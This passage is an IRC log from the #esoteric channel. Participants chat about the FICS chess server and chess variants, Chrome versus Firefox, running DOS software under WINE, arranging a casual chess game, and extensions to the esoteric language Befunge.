:pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1268023538 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Clearly not movies I ever saw :P < 1268023787 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They weren't... Notable. < 1268023957 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :o.O at coppro's record on ficsgames.com < 1268023962 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although it's better than mine < 1268024021 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :the first info I see on that site is entirely opaque < 1268024027 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what is FICS? < 1268024064 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hey! alright! < 1268024070 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Free Internet Chess Server [ freechess.org ] < 1268024070 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :does this handle variants? < 1268024091 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Some < 1268024093 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268024096 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :>:( < 1268024101 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :some does not mean any < 1268024105 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer finds a Chess server, and his first thought is "let's NOT play the game that we've been playing for thousands of years" < 1268024108 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :which means you can't define your own < 1268024122 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :well, that's my first thought with anything ever, so yay! < 1268024126 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(OK, not thousands ;) ) < 1268024166 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, there's some ability to define your own starting positions I think < 1268024185 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: don't look there :P < 1268024188 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hmph < 1268024313 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It'd be nice if it did shogi... < 1268024335 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AND GO < 1268024339 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And Poker < 1268024344 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And Checkers < 1268024344 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :isn't there a program out there that lets you play any chess variant? < 1268024351 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :including chess and go, I think < 1268024355 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :1,000...something, I think < 1268024397 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Shogi is a chess-family game. < 1268024429 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :damn, I finally found the program < 1268024437 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :but it costs money < 1268024447 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :http://www.zillions-of-games.com/ < 1268024459 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I was being intentionally stupid :P < 1268024482 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :http://www.chessvariants.org/programs.dir/zillions/ < 1268024486 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268024498 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Mmkay. < 1268024962 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should probably do something that will give him nutrition
< 1268025843 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :FICS has a number of popular variants, but nothing like new pieces < 1268025883 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I reluctantly admit, after much time using Firefox, that Chrome is a far more reliable browser >_> < 1268025892 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :The client-server model makes that difficult < 1268025903 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, Firefox gets major slops for reliability < 1268025912 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Why is it that flash stalls out and shits out Firefox, but in Chrome it doesn't? How does the process separation stop Flash from stalling? < 1268025973 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :that question seems obvious to me--but I fear that in asking it, you suggest a deeper answer? < 1268026010 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I do :P < 1268026024 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268026036 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: When Flash stalls in Firefox, Firefox shits itself. < 1268026046 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :When Flash stalls in Chrome, Chrome kills the process. < 1268026069 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm not referring to halting or crashing, just momentary stalls. < 1268026076 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268026096 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's just because Firefox's implementation of the NSAPI sucks. < 1268026098 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :e.g. Hulu plays seamlessly in Chrome, but is gappy and shitty in Firefox. < 1268026172 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries installing Chromiumn
< 1268026329 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Chromeyfox < 1268026451 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I love Chrome < 1268026480 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I just trust Google's intentions less and less recently ... < 1268026499 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :shh! don't let them hear you! < 1268026511 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Google IRC? well then < 1268026532 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You can always download SRWare Iron < 1268026542 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :>.> < 1268026554 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268026584 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :there is a popup < 1268026587 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I can't trust it boo < 1268026956 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Chromium is probably in your package manager. < 1268026970 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, yes it is. < 1268026976 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There. < 1268026984 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That would be how I installed it. < 1268026995 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Why that's not Chrome. < 1268026999 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Has none of the nasty bits. < 1268027006 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1268027025 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I thought Chromium was the devel name < 1268027073 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268027081 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OKLOCOCK < 1268027325 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has a chair!
< 1268027666 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268028352 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268028889 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Chrome takes ages to compile. < 1268029220 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :g++ chrome.cc -lages -o chrome < 1268029530 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks for a theme for Chrome called something along the lines of "Not being wildly different from the OS for the sole purpose of being wildly different from the OS, with no UI benefit"
< 1268029744 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Now I'm waiting on the code going into /usr/src/debug. Hooray. < 1268029765 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(... So I like the ability to use gdb when something segfaults...) < 1268030093 0 :sebbu2!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268030094 0 :sebbu!~sebbu@ADijon-152-1-3-21.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268030095 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :hi all < 1268030116 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1268030437 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268030792 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How does http://www.geocities.com/lifemasteraj/beginner1.html still exist? < 1268030870 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What universe do these people come from? http://www.mywot.com/en/scorecard/geocities.com < 1268030884 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, this is mind boggling < 1268030903 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The WOT stuff, or the continued presense of the geocities site> < 1268030904 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268030917 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :latter < 1268031137 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Good lord, it's so Geocities too X-D < 1268031212 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe e's paying for hosting? < 1268031869 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1268032214 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268034524 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268035199 0 :clog!unknown@unknown.invalid QUIT :ended < 1268035200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268036184 0 :GreaseMonkey!unknown@unknown.invalid QUIT :Quit: HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it < 1268037497 0 :cmeme!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268037973 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268038041 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268038113 0 :cheater2!~cheater@ip-80-226-44-25.vodafone-net.de JOIN :#esoteric < 1268038228 0 :sebbu!~sebbu@ADijon-152-1-45-157.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268038670 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268039485 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268041853 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268041929 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268043435 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268044861 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268045425 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268051190 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268051407 0 :alise!~d4b78c00@gateway/web/freenode/x-znuyafmidzegrclp JOIN :#esoteric < 1268051410 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :16:08:17 so for T, P(L) -> (forall l, [] P l -> P(B l)) -> forall t, P(t) < 1268051416 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sorry, had already left at that point < 1268051548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'll play anyone at chess! Extremely badly! < 1268051706 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: hmm, I used to be OK at chess, but haven't practiced in years < 1268051722 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :major issue for me would be finding a chessboard that doesn't automatically suggest moves for me < 1268051733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've been beaten by a non-prodigy twelve year old. < 1268051735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So... yeah. < 1268051754 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :tell you what, I think my really awful chess AI still runs in DOSBox < 1268051766 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: there are billions of clients for FICS < 1268051773 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1268051774 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo and coppro played yesterday, see logs for what clients they used < 1268051797 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I just assumed each player would use their own board and you'd send moves over IRC < 1268051890 0 :MigoMipo!~MigoMipo@84-217-1-84.tn.glocalnet.net JOIN :#esoteric < 1268051897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah; i have no chessboard at all here < 1268051909 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :chess sux < 1268051910 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ugh, it seems that although it runs in DOSbox, it captures both the keyboard and mouse < 1268051922 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and, also, I'm so bad it'd take me ages to figure out how to express the moves I make :-) < 1268051924 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :thus making it impossible to switch windows, or otherwise communicate with people < 1268051925 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe I could use a program and you could use a real board < 1268051939 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I meant, setting something like GNU chess to 2-player mode to use it as a board < 1268051947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268051957 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or we could just sign up for fics :P < 1268051974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and have my horrible failure recorded for all eternity < 1268051986 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, almost works in wineconsole < 1268051994 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :only issue is that it sizes the screen incorrectly < 1268052010 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : fixme:int:DOSVM_Int10Handler Load ROM 8x8 Double Dot Patterns - Not Supported < 1268052035 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, and that one shouldn't even be hard, you can simply implement it by doubling the vertical height of the screen < 1268052044 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(virtual screen, that is) < 1268052046 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in fact, i'm sure someone must have made a java applet client for fics < 1268052057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but wine is shit :P < 1268052074 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :let's get crysis 5 working! who cares about the rest of the api < 1268052089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we want to support the gaymen community :| < 1268052098 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :meh, running a program and only 2 fixmes, that's not bad < 1268052111 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :besides, I've run stuff in WINE that I really needed to be able to run in order to get projects done < 1268052133 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it works just fine on MPLAB C30, except that it makes MPLAB spout a few warnings when it loads < 1268052137 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://i.imgur.com/pDiHb.jpg < 1268052332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A-anyway. < 1268052527 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: fics or manual? I have the fics regpage up here < 1268052545 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :manual, because playing games over a work connection is hard to explain < 1268052573 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I'm assuming attempting to keep track of everything said on IRC would be a fool's errand < 1268052615 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Just make a +m channel for it < 1268052626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're disrupting one of my essential tactics! (decide what to do instinctively so that every move takes about a second) :-P < 1268052629 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or did you mean the lack of even a local chessboard < 1268052652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: also, the irc bytes sent and the chess bytes sent will be pretty much identical, you know < 1268052659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in fact, the chess bytes may be binary and thus more obscure < 1268052675 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the chess bytes will have headers < 1268052688 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and won't go through at all if they're on a nonstandard port < 1268052694 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can automatically see where the bytes are sent < 1268052735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION googles for chess over irc out of curiosity; maybe there's something that'll automate it for me
< 1268052755 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you have irssi there is < 1268052762 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Don't know about other clients < 1268052777 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(And I haven't tried the irssi one either, I just know about it) < 1268052836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah i saw that but i meant a chessboard program that actually sends and recvs the moves itself < 1268052837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah well < 1268053210 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I can play if you want < 1268053347 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268053400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I can't decide whether you'd be better or worse than ais523 < 1268053432 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, I have no idea how good Deewiant is at chess; I'm formerly-decent-but-out-of-practice < 1268053443 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe in the top 2 or 3 in the school while I was at secondary school < 1268053448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm rather surprised how little this stock Windows 7 is annoying me < 1268053451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even IE8 < 1268053464 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'm formerly-not-entirely-shit-but-out-of-practice < 1268053468 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I mean, sure, it sucks, but.. < 1268053478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Load, you fucking downloa page! < 1268053478 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :IE8 is so much better than IE6, that's why it feels so good < 1268053479 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*download < 1268053482 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I want my chess client. < 1268053492 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I know, but I keep forgetting I'm actually using IE as opposed to, say, Firefox < 1268053526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and I actually really like using the taskbar to switch tab < 1268053527 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :s < 1268053527 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :without extensions, there aren't many user-visible differences between even IE7 and Firefox < 1268053537 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*tabs < 1268053539 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, taskbar to switch tabs would be a nightmare the way I use tabs < 1268053578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but the thing is, I use alt-tab to switch windows mostly < 1268053582 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so it's actually quite nice < 1268053630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to figure out how to get winboard to do two-player
< 1268053654 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Our secondary school -equivalent had folks who got silver in some Scandinavian chess championship; at least one of the guys had an ELO near 2000 < 1268053701 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Probably all the active chess club people there (maybe 10-20 of them?) could beat me without too much trouble < 1268053717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This seems to not do two-player offline. Sigh. < 1268053730 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Just use FICS :-P < 1268053737 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Winboard works offline < 1268053737 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could probably have written a chess client yourself by now < 1268053751 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: ais523 refuses to because of work connection < 1268053755 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I used to write them for practice when I was younger; I think I wrote one in Excel < 1268053759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also it does, but only one-player-against-engine < 1268053760 0 :Asztal!~asztal@host86-159-105-237.range86-159.btcentralplus.com JOIN :#esoteric < 1268053767 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes, but if you want to play me instead ;-) < 1268053776 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: And no, there's mode -> edit game < 1268053783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Last chance before I cruelly cast you aside in favour of a real man < 1268053788 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is basically equivalent to two-player one-machine < 1268053796 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: last chance to what? < 1268053801 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Except that it doesn't have timing < 1268053802 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I don't mind not playing if it's too hard to set up < 1268053816 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: "edit game", what a ridiculous name for it! < 1268053820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, use FICS or I cast you aside for now :P < 1268053830 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Well, it's not really a two-player mode. < 1268053854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: do I need to register for fickz? < 1268053855 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's just that: allowing you to edit what move is taken at a given point. Something you'd typically do when viewing an already played game. < 1268053865 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't know how it works. :-P < 1268053871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That could make future moves impossible, surely? < 1268053874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: >_< < 1268053888 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, surely it deletes the history from that point forward. < 1268053892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : If you are not a registered player, enter guest or a unique ID. < 1268053915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"alise" is not a registered name. You may use this name to play unrated games. < 1268053917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268053919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well, connect. < 1268053928 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I am connected, I even registered. < 1268053939 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :could we have the moves posted in-channel somewhere so I can watch? < 1268053947 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe not this channel, though < 1268053955 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Easy enough < 1268053956 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Okay. < 1268053964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#deewiant-alise-champ-2010 < 1268053968 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268054321 0 :alise_!~d4b78c04@gateway/web/freenode/x-slkqghjzttivkkpe JOIN :#esoteric < 1268054442 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268054913 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268056202 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268060518 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1268062893 0 :alise!~d4b78c36@gateway/web/freenode/x-wjnbxpftbetytfdo JOIN :#esoteric < 1268062915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Name for a Reversi-playing program: Infersi < 1268063032 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268063065 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro's quit message has been false every time so far < 1268063072 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm starting to suspect he doesn't actually mean it < 1268063084 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :either that, or it isn't targeted at me, in which case some context would be helpful < 1268063117 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've exploded several times when he's left < 1268063131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quite painful < 1268063257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what the most practical Haskelly thing is for making a GUI < 1268063277 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea, but deep-down I hope it indirectly involves Befunge < 1268063341 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Write Befunge code that uses WIND and then system "rcfunge tmp.b98" ? < 1268063383 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No < 1268063384 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :something like that, but with more tight binding on the Haskell < 1268063391 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe you could go via INTERCAL < 1268063391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, that's Windows-only < 1268063404 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if INTERCAL doesn't have Haskell bindings yet, it probably should do < 1268063421 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :mostly to annoy Haskell advocates < 1268063432 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: What's Windows-only? WIND is only implemented using X < 1268063455 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I would prefer something written in pure Befunge that uses ANSI control codes to make a ncurses-y user interface < 1268063455 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or at least, RC/Funge-98 only implements it with X, and I don't know of any other interpreter that implements it at all < 1268063457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Okay. < 1268063457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, really? < 1268063488 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :RC/Funge-98 is very non-Windows-only < 1268063494 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Quite the opposite < 1268063500 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it would be funnier if the software only worked using X on Windows < 1268063523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268063524 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yep, and that sort of thing's entirely possible; I just don't think anyone's tried yet < 1268063541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I would prefer something written in pure Befunge that uses ANSI control codes to make a ncurses-y user interface <-- anything wrong with NCRS? < 1268063553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for a start "something written in befunge" tends to be very non-reusable < 1268063565 0 :alise_!~d4b78c36@gateway/web/freenode/x-muhpxrmaljweggxk JOIN :#esoteric < 1268063579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to the complete lack of something that works for emulating functions. And even with SUBR it is somewhat messy < 1268063669 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Don't forget MACR < 1268063726 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268063794 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, is there any Befunge extension that works Modular SNUSP-style? < 1268063829 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Depends on what that style is < 1268063891 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :basically, it has commands for subroutine call and return < 1268063901 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that work like setjmp/longjmp on an explicit stack < 1268063990 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't think there's anything quite like that, no < 1268064046 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it makes subroutining very easy < 1268064053 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or ofc you could just use IFFI and do subroutines that way < 1268064117 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1268064127 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm... < 1268064140 0 :MissPiggy!unknown@unknown.invalid NICK :fax < 1268064156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, you need to port IFFI to work without depending on ick < 1268064168 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :At one point I wanted to have "pages" that the IP could travel between (kind of like 2.5 dimensions I guess), but there was a lot of resistance (too machine-y, I guess.) < 1268064169 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that would be "rewrite", not "port" < 1268064172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, since you replace mainloop that would be painful < 